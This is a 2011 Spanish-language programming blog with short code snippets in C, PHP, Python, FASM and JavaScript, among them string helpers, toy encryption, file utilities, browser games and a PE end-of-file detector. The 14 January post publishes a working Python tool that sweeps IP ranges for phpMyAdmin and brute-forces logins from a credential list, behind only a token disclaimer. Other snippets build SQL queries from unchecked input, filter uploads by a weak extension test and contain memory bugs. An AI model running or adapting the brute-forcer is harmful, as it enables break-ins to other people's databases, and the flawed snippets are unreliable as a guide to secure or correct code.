Busca la funcion que necesitas!

lunes, 24 de enero de 2011

C - Abrir y leer un archivo de texto o binario (.exe) SIN bucle

Bueno cuando yo recién aprendía y me veia con la necesidad de abrir y leer un archivo binario resultaba que en todos los lugares que leía para documentarme, para leer un archivo utilizaban un bucle y esto vamos, esto no va para binarios porque se corta con el caracter nulo '\0' entonces la solución fué crear un bloque de memoria (que no se come los caracteres nulos) y almacenar dentro de la memoria todo el archivo de una vez sin usar ningun bucle...

Acá les dejo el source de cómo leer un archivo de texto o binario sin un bucle:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Linkgl.
int main()
{
  //variables
  FILE *fp;
  int dwPeso;
  char *szBuffer;
  //Abrimos para leer
  fp=fopen("hola.exe","rb");
  if(fp==NULL)
    return -1;
  //Obtenemos el peso
  fseek(fp,0,SEEK_END);
  dwPeso=ftell(fp);
  rewind(fp);
  //Reservamos un bloque de memoria del tamaño del peso
  szBuffer=(char *)malloc(dwPeso);
  //Limpiamos nuestro buffer
  memset(szBuffer,0,dwPeso);
  //Leemos el archivo completo
  fread(szBuffer,dwPeso,sizeof(char),fp);
  //cerramos
  fclose(fp);
  getchar();
  return 0;
  //Compilado con mingw en Dev Cpp
}
O bien si quieren pasarlo a una función leer que haga todo el trabajo nos quedaría masomenos así:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *Leer(char *archivo);

//Linkgl.
int main()
{
  printf("%s",Leer("hola.txt"));
  getchar();
  return 0;
  //Compilado con mingw en Dev Cpp
}

char *Leer(char *archivo)
{
  //variables
  FILE *fp;
  int dwPeso;
  char *szBuffer;
  //Abrimos para leer
  fp=fopen(archivo,"rb");
  if(fp==NULL)
    return -1;
  //Obtenemos el peso
  fseek(fp,0,SEEK_END);
  dwPeso=ftell(fp);
  rewind(fp);
  //Reservamos un bloque de memoria del tamaño del peso
  szBuffer=(char *)malloc(dwPeso);
  //Limpiamos nuestro buffer
  memset(szBuffer,0,dwPeso);
  //Leemos el archivo completo
  fread(szBuffer,dwPeso,sizeof(char),fp);
  //cerramos
  fclose(fp);
  //retornamos el buffer
  return szBuffer;
}

Si bien es más recomendable usarla como lineal (es decir sin hacer la función) por que tienes más flexibilidad de usar los resultados obtenidos en palabras que entendamos todos, si no lo usas como función puedes usar despues la variable peso, y los punteros tipo FILE, bueno una cosa más, si lees un binario (.exe) y luego lo quieres mostrar en modo consola con printf("%s",szBuffer); Sólo te mostrará MZ, porque printf es una función que se corta con los caracteres nulos también pero esto no significa que no esté todo el archivo almacenado en szBuffer, prueba escribiendo el archivo en otro nuevo y verás que se copiará perfectamente porque están todos los bytes en el buffer! 
 

domingo, 23 de enero de 2011

AJAX + Mysql - Linken Foros

Linken foros es un sisema de foros desarrollado por Kenichi y su servidor Linkgl, este sistema se creó en PHP lineal para la fácil implementación y adaptación en páginas con sistemas de registro para los programadores mas nuevos en el mundo de PHP, el foro fue diseñado en PHP + Javascript (Ajax) y utiliza como base de datos Mysql, tiene un instalador MUY original diseñado por Kenichi para fácilitar la implementación del sistema, y es totalmente OpenSource así que el código puede distribuirse o modificarse bajo las normas GNU

Descarga del source más reciente:
http://linkenforos.com.ar/descargar.php

Página oficial con foro para dudas o más detalles:
http://linkenforos.com.ar 
 

sábado, 22 de enero de 2011

PHP - Funcion para subir un archivo con filtro de extención

Les dejo una función que hize hace un rato llamada xLoad, lo que hace es procesar un archivo subido y filtrarlo con extensión si pasa la prueba de la extención lo guarda en determinada carpeta retorna true si todo salió bien y false si no.

<?php
/*****************************************
* Coded by linkgl                       *
* 02/02/10                              *
* linkgl@revolutionteam.info            *
* sube archivos a carpeta determinada   *
* con filtro de extencion               *
* **************************************/
function xLoad($archivo,$carpeta,$extencion,$temp)//declaramos la funcion
{
  if(substr($archivo, strlen($archivo)-4, 4) != $extencion)//filtramos extencion
  {
    return false;//si la extencion es incorrecta lo mandamos a... 
  }
  else  //de lo contrario
  {
    if(move_uploaded_file($temp,$carpeta.$archivo))//subimos el archivo a la carpeta con el nombre dado
    {
      return true;//si todo va bien se acabo aqui
    }
    else //si no
    {
      return false;
      //este error pueda dar por falta de permisos chmod 777
    }
  }
} //cerramos nuestros corchetitos y nos vamos
?>

viernes, 21 de enero de 2011

PHP - Convertir de Celsius a Farenheit, Kelvin & Rankine

Bueno este source es de cuando yo estudié el primer semestre del bachillerato, conveirte de grados celsius a farenheit, kelvin o rankine, así cuando hacía mi tarea no tenía que usar la calculadora solo abrir localhost y poner los datos ahí.

<?
/******************************
* By Linkgl                  *
* 12/02/10                   *
* Formula de wikipedia       *
* ***************************/   
if(!isset($_POST['num']))
{
?>
<form action="#" method="post">
<input type="text" name="num">
<input type="radio" name="r1" value="f">F
<input type="radio" name="r1" value="k">K
<input type="radio" name="r1" value="r">R

<input type="submit" value="enviar">
</form>
<?
}
else
{
  $num=$_POST['num'];
  switch($_POST['r1'])
  {
    case "f":
      echo $num*9/5+32;
      break;
    case "k":
      echo $num + 273.15;
      break;
    case "r":
      $op=$num + 273.15;
      echo $op*9/5;
      break;
  }
}
?>

jueves, 20 de enero de 2011

C - Encriptación XOR en C

Bueno más que programar esta función más bien la traduje de las demás funciones xor en otros lenguajes, este tipo de encriptación no necesita que se cree otra función para desencriptar, al pasarle la función una vez encripta y pasarsela de nuevo desencripta la cadena, esta función también lleva una clave con la cual se combinan ambas cadenas para que sea una encriptación más segura

Parámetros:
Cadena a encriptar, Clave, longitud de la cadena a encriptar, longitud de la clave.

Función:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
Coder: Linkgl
http://funcion-linkgl.blogspot.com
*/
char *Xcrypt(char *cadena,char *clave,int lcadena,int lclave);
int main()
{
  char *buffer; //creamos el buffer
  buffer=(char *)malloc(10); //reservamos memoria
  memset(buffer,0,10); //limpiamos la memoria
  buffer=Xcrypt("soy linkgl","link",10,4); //encriptado
  printf("%s\n",buffer);
  printf("%s\n",Xcrypt(buffer,"link",10,4));
  getchar();
  return 0;
}

char *Xcrypt(char *cadena,char *clave,int lcadena,int lclave)
{
  int tmp;
  char *final;
  final=(char *)malloc(lcadena + 1);
  memset(final,0,lcadena + 1);
  for(int i=0;i<lcadena;i++)
  {
    tmp=(int)cadena[i] xor (int)clave[(i-1) % lclave+1]+1;
    final[i]=(char)tmp;
  }
  return final;
}

miércoles, 19 de enero de 2011

C - Encriptación simple en C

Acá les publico un algoritmo de encriptación que hize, viene siendo como un ROT-1, funciona encriptando binarios y cadenas así que no hay que preocuparse por el carácter nulo :P

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
Coder: Linkgl
http://funcion-linkgl.blogspot.com
*/
char *LinkCrypt(char *cadena,int largo);
char *LinkDECrypt(char *cadena,int largo);
int main()
{
  char *buffer;
  //->
  buffer=(char *)malloc(10);
  memset(buffer,0,10);
  //-> USO
  buffer=LinkCrypt("soy linkgl",10);
  printf("Encriptada-> %s\n",buffer);
  printf("Desencriptada-> %s",LinkDECrypt(buffer,10));
  getchar();
  return 0;
}
char *LinkCrypt(char *cadena,int largo)
{
  char *final;
  int caracter;
  final=(char *)malloc(largo+1);
  memset(final,0,largo+1);
  for(int i=0;i<largo;i++)
  {
    if((int)cadena[i]==0)
      caracter=255;
    else
      caracter=(int)cadena[i]-1;
    final[i]=(char)caracter;
  }
  return final;
}

char *LinkDECrypt(char *cadena,int largo)
{
  char *final;
  int caracter;
  final=(char *)malloc(largo+1);
  memset(final,0,largo+1);
  for(int i=0;i<largo;i++)
  {
    if((int)cadena[i]==255)
      caracter=0;
    else
      caracter=(int)cadena[i]+1;
    final[i]=(char)caracter;
  }
  return final;
}

martes, 18 de enero de 2011

PHP - Páginacion con PHP y MYSQL

En esta ocasión les enseñaré un source  para paginar o bueno en palabras comunes, para tener nuestras paginas en nuestro sistema de noticias en php es decir siguiente pagina y pagina anterior y demás, jeje muestro el source:

$limite=11;// Limite de "noticias" o entradas por página
if(!isset($_GET['pag']))//si la variable pag es nula
{
  $pag=0;//entonces lo devolvemos a la primera pagina
}
else // si no
{
  $pag=$_GET['pag'];//obtenemos la página en la que estamos
}
$num=$pag*$limite;//multiplicamos la pagina * el limite
$sql=mysql_query("SELECT * FROM tu_tabla LIMIT {$num},{$limite}");//sacamos los nuevos datos
while($row=mysql_fetch_array($sql))
{
  echo $row['noticia']."<br />"; // los desplegamos en pantalla
}
Con esto ya tenemos la base, sé que es difícil implementarlo si no tienes mucha experiencia con php, este código lo vas a pegar en la página donde vayas a mostrar tus noticias y vas a reemplazar el campo

$sql=mysql_query("SELECT * FROM tu_tabla LIMIT {$num},{$limite}");
En donde dice tu_tabla lo vaz a reemplazar por el nombre de tu tabla donde esten las noticias
echo $row['noticia']."<br />";
Y aca vas a cambiar noticia por el nombre del campo que contenga las noticias

Ahora para mostrar una flechita para ir a la siguiente pagina pues basta con poner un link apuntando a $_GET['pag']+1 y para pagina anterior $_GET['pag']-1

Si tienes poca experiencia en el lenguaje y no pudiste implementar la paginacion deja un comentario con gusto te ayudare o abrire otra entrada explicandolo PASO a PASO 

Nota importante: A los $_GET para página siguiente y página anterior hay que confirmar que sean enteros (int)$_GET.. o if(is_numeric($_GET['pag']) porque esos datos van directo a la base de datos y con una simple comilla pueden hacer una inyección sql.

Esta observación no la hize yo, la hizo Kenichi, gracias por tu comentario para retroalimentar la publiación.

lunes, 17 de enero de 2011

PHP - Contar el número de veces que aparece una cadena en un archivo

Esta función la hize porque me la pidieron, cuenta el número de veces que aparece determinada palabra en un archivo de cualquier tipo...

<?php
//funcion para encontrar el numero de veces que aparece la cadena by linkgl
function contar($palabra,$ruta)
{
  $contador=0; //seteamos contador a 0
  $archivo=file_get_contents($ruta); //obtenemos el texto del archivo
  while(strpos($archivo,$palabra)!=false) //si todavia hay palabras
  {
    $buscar=strpos($archivo,$palabra); //buscamos si esta la palabra en alguna posiciophpn
    $archivo=substr($archivo,$buscar+strlen($palabra)); //si es asi cortamos la palabra
    $contador++; //incrementamos el contador
  }
  return $contador;
}

//uso
echo contar("linkgl","test.txt");
?>

domingo, 16 de enero de 2011

C - Limpiar cadena o bloque de memoria para evitar caracteres raros

Bueno en esta ocasión les diré cómo podemos limpiar un bloque de memoria o una cadena con un determinado espacio reservado, bueno les comparto la idea porque en otro momento estaba hasta la madre(como todo programador casero ha estado alguna vez) porque no podía solucionar un error y el problema era por el bloque de memoria sucio hasta que se me ocurrio limpiarlo bueno:

Para limpiar un buffer con determinado espacio:
char buffer[260]={'\0'};
Listo nos ha quedado limpio porque { } rellenan el contenido de nuestro buffer con lo que hay entre comillas simples (se usan comillas simples por que estamos usando un solo caracter, en esta ocasión el caracter nulo representado por \0

Ahora para limpiar un buffer de memoria lo que hacemos es usar memset() así:

char *szBuffer; //puntero buffer
szBuffer=(char *)malloc(6); // reservamos un bloque de memoria de tamaño 6
memset(szBuffer,0,6);
//limpiamos los 6 bytes de memoria rellenando con 0
Listo nuestro buffer o bloque de memoria esta limpio como para despues agregarle cadenas de texto y demás cosas!, ahora les dejo un ejemplo implementando la limpieza de memoria con una función Left de visual basic que ya había programado y posteado yo acá

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//->prototipo
char * Left(char *sCadena,int iPosicion);
//->uso
int main()
{
  printf("%s",Left("funcion-linkgl.blogspot.com",6));
  getchar();
  return 0;
}
//->funcion
char * Left(char *sCadena,int iPosicion)
{
  int i;
  char *sNueva=malloc(strlen(sCadena));
  memset(sNueva,0,strlen(sCadena));
  for(i=0;i<iPosicion;i++)
    sNueva[strlen(sNueva)]=sCadena[i];
  return sNueva;
}//compilado con mingw dev cpp

Espero a alguno de ustedes le haya servido la forma para limpiar una cadena o bloque de memoria con C usando memset y caracteres nulos, nos vemos en la siguiente entrada

Python - Extraer URL

Esta vez hize una función por necesidad más que nada que separa un link de la ruta de un archivo es decir si yo tengo el siguiente link: http://funcion-linkgl.blogspot.com/carpeta/imagen.gif con la función Extraer Url voy a sacar la ruta del archivo sin la dirección, osea que la función me va a devolver /carpeta/imagen.gif

#!usr/bin/python
#coder: Linkgl - http://funcion-linkgl.blogspot.com
def extraerURl(url):
  #obtenemos valores y cortamos
  link=url
  corte=link.split("/")
  #obtenemos el dominio
  if corte[0].find("http:") == -1:   
    dominio=corte[0]
  else:
    dominio=corte[2]
  #obtenemos la ruta de la imagen sin el dominio
  imagen=''
  for dato in corte:
    if dato != dominio and dato != "http:" and dato != "":
      imagen=imagen+"/"+dato
  return imagen

#uso
print extraerURl("www.google.com/todolodemas/hola/dats.gif")

sábado, 15 de enero de 2011

Python - Extraer texto enmedio

Esta idea yo la extraje de un programador de Visual Basic y amigo mío K-0Z, extrae el texto entre dos delimitadores.

#!/usr/bin/python
#########################################
# Coder: Linkgl                         #
# Idea original & Agradecimiento: K0-Z  #
# Web: Indetectables.net                #
#########################################
def textoEnmedio(sCadena, sDelimitador1, sDelimitador2):
  pos=sCadena.find(sDelimitador1)+len(sDelimitador1)
  pos2=sCadena.find(sDelimitador2)
  return sCadena[pos:pos2]


# -- Imprime "texto a extraer" sin comillas -- #
print textoEnmedio("hola[link]texto a extraer[k-0z]soy linkgl","[link]","[k-0z]")

viernes, 14 de enero de 2011

Python - Linkgl Phpmyadmin Bruteforce source

Libero el source de el bruteforce (fuerza bruta) que hize en python, le das un rango de IP's e intenta entrar al phpmyadmin por bruteforce ni el sitio ni yo somos responsables de el uso de la herramienta, usen los sources para aprender no para dañar!

Imagen de funcionamiento:
El source
#!usr/bin/python
import httplib, urllib, urllib2, cookielib
print """
_                ___                                ___
| |              |   \\                              |  _\\
| |__            |  _/                              |   \\
|____| I N K G L |_|  H P M Y A D M I N F I N D E R |___/ R U T E F O R C E
       - indetectables.net/foro/ -
     - Orgulloso de ser Indetectable -
     - funcion-linkgl.blogspot.com -
"""
###############################
# Script desarrollado         #
# por linkgl                  #
# v.Publica                   #
# 03/01/11                    #
# Funcion-linkgl.blogspot.com #
# indetectables.net           #
# Orgulloso de ser            #
# indetectable                #
###############################
ipInicial=raw_input("Introduce la IP inicial\n")
ipFinal=raw_input("Introduce la IP final\n")
contador=1
cont=0
while(ipInicial != ipFinal):
  corte=ipInicial.split(".")
  if (corte[3]!="255"): 
    corte[3]=contador
  else:
    corte[2]=int(corte[2])+1
    corte[3]=0
    contador=1
  ipInicial=corte[0]+"."+corte[1]+"."+str(corte[2])+"."+str(corte[3])

  try:
    conexion = httplib.HTTPConnection(ipInicial,80,timeout=0.2)
    conexion.request ("GET", "/phpmyadmin/index.php")
    respuesta = conexion.getresponse()
    data=respuesta.read()
    if(data.find("phpMyAdmin")!=-1):
      print "LPB bot: phpMyAdmin Encontrado en ->" + ipInicial + "/phpmyadmin<- Iniciando bruteforce"
      fp=open("bd.txt","r")
      linea=fp.readline()
      while(linea!=""):
        log=linea.split(":")
        galleta = cookielib.CookieJar()
        variables = urllib.urlencode({'lang':'en-utf-8','convcharset':'iso-8859-1','server': '1','submit': 'Go','pma_username': log[0],'pma_password': log[1]})
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(galleta))
        site = opener.open("http://"+ipInicial+"/phpmyadmin/index.php", variables).read()
        if(site.find(ipInicial)!=-1):
          print "LPB bot: Accediste al sistema -> " + log[0] + ":" + log[1]
        linea=fp.readline()
      fp.close() 
  except:
    cont=0
   
  contador=contador+1

jueves, 13 de enero de 2011

PHP - Función para filtrar extenciones ilimitadas

Esta función te será muy útil si usas un sistema de upload por ejemplo, para filtrar tantas extenciones como quieras, la hize especialmente para eso, devuelve TRUE si existe la extención en la cadena y FALSE si no existe la extención

Code + Uso
<?phpfunction FilExt($cadena)
{
/**************************************
* FilExt Creada 07/05/10             *
* Autor: Linkgl                      *
* Correo: Linkgl@revolutionteam.info *
* Sitio Web: Indetectables.net       *
* Descripcion:                       *
* Funcion que verifica extenciones   * 
* ***********************************/ 
  
$num=func_num_args();
  
$argumento=func_get_args();
  
$bin=0;
  for(
$i=1;$i<$num;$i++)
  {
    
$largo=strlen($argumento[$i]);
    if(
substr($cadena, -$largo) == $argumento[$i])
      return 
true;
  }
  return 
false;
}

/**********************EJEMPLO DE USO***************************/if(FilExt("hola.indetectables.net",".jpg",".exe",".png",".indetectables.net"))
  echo 
"Tiene alguna de esas extenciones";
else
  echo 
"No tiene ninguna de esas extenciones";?>

C - Función Right de Visual Basic a C

Esta función es similar a $Left, pero esta muestra todos los caracteres que hay en una cadena desde determinada posicion hacia la derecha...

/***********************
* Coder: Linkgl        *
* Funcion right        *
* Fecha 19/12/2010     *
* indetectables.net    *
* Revolutionteams.info *
***********************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char * Right(char *sCadena,int iPosicion);
//char sNueva[256]; <- Opcion 2
int main()
{
  printf("%s",Right("indetectables.net",6));
  getchar();
  return 0;
}

char * Right(char *sCadena,int iPosicion)
{
  int i;
  char *sNueva=malloc(strlen(sCadena))+iPosicion+1; //<- Opcion 1
  for(i=iPosicion-1;i<strlen(sCadena);i++)
  {
    sNueva[strlen(sNueva)]=sCadena[i];
  }
  return sNueva;
}//compilado en gcc 

miércoles, 12 de enero de 2011

C - Función Left de Visual Basic a C

En esta ocasión traigo una función que simula a $Left de visual basic, esta fución retorna los caracteres que esten a la izquierda de determinada posición en una cadena ejemplo:
Left("hola soy linkgl",4)
Esto me retornara "hola"

/******************************
* Coder: Linkgl               *
* Funcion Left                *
* Fecha 19/12/2010            *
* indetectables.net           *
* Revolutionteams.info        *
* funcion-linkgl.blogspot.com *
******************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//->prototipo
char * Left(char *sCadena,int iPosicion);
//->uso
int main()
{
  printf("%s",Left("funcion-linkgl.blogspot.com",6));
  getchar();
  return 0;
}
//->funcion
char * Left(char *sCadena,int iPosicion)
{
  int i;
  char *sNueva=malloc(strlen(sCadena)-iPosicion);
  for(i=0;i<iPosicion;i++)
    sNueva[strlen(sNueva)]=sCadena[i];
  return sNueva;
}//compilado con mingw en dev cpp

martes, 11 de enero de 2011

FASM - Contar una cadena (strlen)

El día de hoy les traigo un ejemplo de como hacer un strlen de una cadena en ensamblador desde FASM codeada por su servidor linkgl.

include 'win32ax.inc'
;*************************
;Longitud de una cadena  *
;Coder: Linkgl           *
;Lenguaje ASM(FASM)      *
;Fecha 28/11/10          *
;Indetectables.net       *
;Corp-51.net             *
;*************************
.data
  cadena db 'linkgl',0 ;Cadena a contar
  titulo db 'La longitud de la cadena es de:',0  ;Esto no es importante
  resultado db ?,0  ;aca almacenamos el contador

.code
  inicio:
    XOR ESI,ESI   ;Seteamos los registros SI EAX Y ECX A 0
    XOR ECX,ECX
    XOR EAX,EAX
    LEA ESI,[cadena] ;Movemos la palabra a esi
    bucle:
    LODSB ;Extraemos el ultimo caracter en AL
    CMP AL,0 ;SI ES IGUAL A 0 SE ACABO LA PALABRA
    JE salir
    INC ECX    ;INCREMENTAMOS EL CONTADOR
    JMP bucle  ;volvemos al bucle

    salir:
    MOV AL,CL ;movemos el contador a AL
    ADD AL,0x30 ;Le sumamos 0x30 para que nos de el valor en ascii
    MOV [resultado],AL ;lo copiamos a resultado
    invoke MessageBoxA,0,resultado,titulo,MB_OK ;mostramos
    invoke ExitProcess,0 ;nos vamos!
  .end inicio

Nota importante:
Cuenta palabras hasta de 9 caracteres si sobrepasan los caracteres también las cuenta pero las cuenta en hexadecimal, no es dificil arreglar eso solo es ir sumando valores en hex para convertirlos a ascii. 

lunes, 10 de enero de 2011

JavaScript - Juego de Memoria by Kenichi

En esta ocasión les muestro un código fuente de un gran programador web y amigo mío conocido como Kenichi, este source es de un juego de memoria en el cual pueden acceder a el mediante el siguiente link http://linkenforos.com.ar/lab/memoria/Nuevo1.html

Todos los créditos son para kenichi!
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
  <meta http-equiv="content-type" content="text/html; charset=windows-1250">
  <script type="text/javascript">
  <!--
  var entrees = new Array();
  var celda_anterior = null;
  var celda_anterior_id = null;
  var correctas = 0;
  var c = 0;
  function mezclar()
 {
  var i;
  var j;
  var n;
  var dep = 0;
  var trouve;
  for (i = 1; i < 9; i++)
  {
   for (j = 0; j < 2; j++) 
   {
    n = Math.round(Math.random() * (10 - i));
    dep += n;
    dep %= 16;
    trouve = false;
    while (!trouve) 
    {
     if (!entrees[dep]) 
     {
      entrees[dep] = i;
      trouve = true;
     }
     else 
     {
      dep++;
      dep %= 16;
     }
    }
   }
  }
 }
 mezclar();
  window.onload = function()
  {
   var codigo = '<table border="1">';
   for (var i = 0;i < 4;i++)
   {
    codigo += '<tr>';
    for (var f = 0;f < 4;f++)
    {  
     codigo += '<td style="width:100px;height:100px;text-align:center;background:#ffc" class="'+entrees[c]+'" id="celda_'+c+'"><a href="javascript:girar(\'celda_'+c+'\');">Girar</a></td>';
     c++;
    }
    codigo += '</tr>';
   }
   codigo += '</table>';
   document.body.innerHTML = codigo;
  }
  function girar(celda)
  {
   if (celda_anterior_id != null)
   {
    if (celda_anterior == document.getElementById(celda).className)
    {
     document.getElementById(celda).innerHTML = 'Muy bien!';
     document.getElementById(celda_anterior_id).innerHTML = 'Muy bien!';
     celda_anterior_id = null;
     celda_anterior = null;
     correctas++;
     if (correctas >= (c / 2))
     {
      alert("Ganaste el juego!");
     }
    }
    else
    {
     document.getElementById(celda).innerHTML = document.getElementById(celda).className;
     setTimeout(function()
     {
      document.getElementById(celda_anterior_id).innerHTML = '<a href="javascript:girar(\''+celda_anterior_id+'\')">Girar</a>';
      document.getElementById(celda).innerHTML = '<a href="javascript:girar(\''+celda+'\')">Girar</a>';
      alert("Intenta de nuevo!");
      celda_anterior_id = null;
      celda_anterior = null;
     }, 400); 
    }
   }
   else
   {
    celda_anterior = document.getElementById(celda).className;
    celda_anterior_id = celda;
    document.getElementById(celda).innerHTML = document.getElementById(celda).className;
   }
  }
  -->
  </script>
  <title>Memoria</title>
  </head>
  <body>
</body>
</html>

Un poco extenso pero vale la pena hecharle una mirada!

FASM - Comparar dos cadenas

Este código FASM lo hize estudiando obviamente ensamblador (lenguaje de bajo nivel), lo que hace es comparar dos cadenas y decirte si son iguales o son diferentes, esto se puede hacer haciendo 

repe cmps
Pero ya que FASM o almenos mi FASM no soportaba la función tuve que crear un código y se los comparto para que a algun novato como yo en ensamblador le sirva de algo!.

include 'win32ax.inc'
;***********************
; Programador: Linkgl  *
; indetectables.net    *
; funcion-linkgl.blogspot.com          *
; 29/11/10             *
; Comparar cadenas     *
;***********************
.data
  cadena1 db 'linkgl',0  ;cadenas a comparar
  cadena2 db 'linkgl',0

.code
  inicio:
  MOV EAX,0 ;acomodamos nuestros registros a 0
  MOV EDX,0
  MOV ECX,0
  MOV ESI,0

  LEA ESI,[cadena1] ;obtenemos la cadena 1
  bucle:
  LODSB  ;la cortamos y la almacenamos toda en EDX
  CMP AL,0
  JE continuar
  ADD EDX,EAX
  INC ECX
  JMP bucle

  continuar:
  PUSH EDX    ;metemos edx a la pila
  MOV EDX,0
  MOV ESI,0
  LEA ESI,[cadena2]

  bucle2:   ;hacemos lo mismo con la otra cadena
  LODSB
  CMP AL,0
  JE comparar
  ADD EDX,EAX
  INC ECX
  JMP bucle2

  comparar:
  POP EBX     ;sacamos el valor de EDX de la pila a EBX
  cmp EDX,EBX   ;Comparamos
  je iguales  ;si son iguales  pues saltamos a iguales
  invoke MessageBoxA,0,"No son iguales","by linkgl",0
  invoke ExitProcess,0

  iguales:
  invoke MessageBoxA,0,"Son iguales","by linkgl",0
  invoke ExitProcess,0


  .end inicio

domingo, 9 de enero de 2011

JavaScript - Juego ahorcado

Aquí les dejo el source de un juego ahorcado que programé hace ya un tiempo a alguno que este estudiando este lenguaje scripting tan interesante tal vez le sirva de algo.

<html>
<head>
<script language="JavaScript" type="text/javascript">
/*********************
*Codeado por Linkgl *
*Agradecimientos a: *
*Kenichi            *
********************/

var letra;
var espacios;
var errores = 0;
var total="";

function mostrar(){
    var n;
    n=Math.floor(Math.random()*5);
    espacios=palabras[n].length;
    palabra=palabras[n];
    document.write('La palabra tiene ' + espacios + ' letras <br />');
}

function validar(e) {
    t = (document.all) ? e.keyCode : e.which;
    document.f1.letra.value='';
    letra=String.fromCharCode(t);
    var verificado = 0;
    for (var i = 0;i < espacios;i++)
    {
      verificado++;
       if (palabra[i].indexOf(letra) > -1)
       {
           document.getElementById(i).innerHTML=letra;
           total=total+letra;
           if(total.length==espacios)
           {
               alert("Listo ha ganado pero ha tenido " + errores + " errores");
               reset();
           }
           if(errores!=0)
           {
               errores = errores -1;
             
           }         
       }else{
          if (verificado == 1)
          {
           errores++;

          }
        document.getElementById('errores').innerHTML='Errores: ' + errores;
       }
    }
}

function reset(){
var errores=0;
var total="";
document.getElementById('errores').innerHTML='Errores: 0';
location.reload();
}

var palabras;
palabras=new Array(5);
palabras[0]='linkgl';
palabras[1]='indetectables';
palabras[2]='revolucion';
palabras[3]='cactus';
palabras[4]='polifemo';
mostrar();

</script>
</head>
<body>



<span width="30px" id="errores">Errores: 0</span><br />
<span width="30px" id="0">&nbsp;</span>
<span width="30px" id="1">&nbsp; </span>
<span width="30px" id="2">&nbsp; </span>
<span width="30px" id="3">&nbsp;</span>
<span width="30px" id="4">&nbsp;</span>
<span width="30px" id="5">&nbsp; </span>
<span width="30px" id="6">&nbsp; </span>
<span width="30px" id="7">&nbsp; </span>
<span width="30px" id="8">&nbsp; </span>
<span width="30px" id="9">&nbsp; </span>
<span width="30px" id="10">&nbsp; </span>
<span width="30px" id="11"> &nbsp;</span>
<span width="30px" id="12">&nbsp; </span>
<span width="30px" id="13">&nbsp; </span>
<br />
<span width="10px" id="guiones"></span>
<br />Introduzca una letra
<form name="f1">
<input id="texto" type="text" name="letra" onkeypress="validar(event)">
</form>
</body>
</html>

Saludos, no olviden dejar sus comentarios!

sábado, 8 de enero de 2011

Python - Mid o Substr en python

Acá les dejo una función para hacer un mid o substr en python!:P
def substr(cadena,inicio,final=0):
    if final==0:
        final = len(cadena)
    cadena_final=''
    while(inicio<fin):
        cadena_final=cadena_final+cadena[inicio]
        inicio=inicio+1
    return cadena_final #by linkgl
La implementacion debe ser sencilla para los que manejan python pero si tienen dudas pregunten (: 

viernes, 7 de enero de 2011

C - Detectar EOF haciendo uso del PE

Bueno primero tenemos que tener claros algunos términos para poder entender el código, primero EOF significa End Of File, como su nombre lo dice, esta sección es el final de un ejecutable, pero hay ciertos ejecutables (sobre todo los troyanos y encriptadores), que almacenan datos al final de su estructura, masomenos así:

Estructura de un ejecutable
1.- Cabeceras
2.- Tabla de secciones
3.- Secciones
4.- EOF (Datos extra's)


Un ejecutable puede meter una cadena o string al final de sí mismo para despues extraerla y usarla en el programa, ahora hize esta función para detectar si un archivo tiene datos extra o EOF, o no los tiene

Código:
#include <stdio.h>
#include <windows.h>
/***************************\
*        _                  *
*       | |                 *
*       | |__               *
* Coder |____|inkgl         *
* Fecha: 02/01/11           *
* Indetectables.net/foro    *
* Revolutionteams.info      *
* Orgulloso de ser...       *
*  -INDETECTABLE-           *
\***************************/

BOOL existe_EOF(char *ruta)
{
  //-> Estructuras necesarias
  IMAGE_DOS_HEADER idh;
  IMAGE_NT_HEADERS inh;
  IMAGE_SECTION_HEADER ish;
  //-> Variables necesarias
  FILE *fp;
  DWORD iTam;
  DWORD hTam;
  //Abrimos el archivo para leer en binario
  fp=fopen(ruta,"rb");
  if(fp!=NULL)
  {
    fseek(fp,0,SEEK_END);
    iTam=ftell(fp);
    rewind(fp);
    fread(&idh,sizeof(IMAGE_DOS_HEADER),1,fp);
    fseek(fp,idh.e_lfanew,SEEK_SET);
    fread(&inh,sizeof(IMAGE_NT_HEADERS),1,fp);
    fseek(fp,idh.e_lfanew + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * (inh.FileHeader.NumberOfSections - 1),SEEK_SET);
    fread(&ish,sizeof(IMAGE_SECTION_HEADER),1,fp);
    fclose(fp);
    hTam=ish.PointerToRawData + ish.SizeOfRawData;
    if(hTam < iTam)
      return true;
    else
      return false;
  }
}

//->USO
int main()
{
  if(existe_EOF("C:\\salida.exe"))
    printf("El ejecutable tiene EOF");
  else
    printf("El ejecutable no tiene EOF");
  getchar();
  return 0;
}//Compilado con mingw - Dev C++
 Críticas, dudas, sugerencias en los coments!

jueves, 6 de enero de 2011

PHP - Clase sArchivos

Fué una clase que hize hace un tiempecito para prácticar con archivos, contiene 3 funciones, si se les ocurre una interesante comentenla y yo la implementaré o sientanse libres de modificar la clase

<?php
/**************************
* Coder: Linkgl           *
* Web:Funcion-linkgl.blogspot.com   *
* clase sArchivos         *
**************************/
class sArchivos
{
  //Esta funcion escribe en un archivo empezando desde un offset determinado
  function sEscribirOffset($fArchivo,$offset,$data)
  {
    if($f=fopen($fArchivo,"a"))
    {
      $todo=file_get_contents($fArchivo);
      $corte=substr($todo,$offset-1);
      ftruncate($f,$offset-1);
      fwrite($f,$data.$corte);
      fclose($f);
      return true;
    }
    else
      return false;
  }
  //Te devuelve true si la cadena existe en el archivo o false si no
  function sExiste($fArchivo,$sDato1)
  {
    if(strpos(file_get_contents($fArchivo),$sDato1) === false)
      return false;
    else
      return true;
  }
  //Esta funcion escribe la cadena indicada si no esta escrita aun en el archivo
  function sEscribirCmp($fArchivo,$sData)
  {
    if(strpos(file_get_contents($fArchivo),$sData) === false)
    {
      $f=fopen($fArchivo,"a");
      fwrite($f,$sData);
      fclose($f);
      return true;
    }
    else
      return false;
  }
}

//uso ->
$s=new sArchivos();
if($s->sExiste("text.txt","hola mundo")===false)
{
  $s->sEscribirOffset("text.txt",5,"hola mundo");
  if($s->sEscribirCmp("text.txt","adios")===true)
  {
    echo "El txt ya contiene hola mundo en el offset 5 y adios gracias a la clase =)";
  }
}
?>

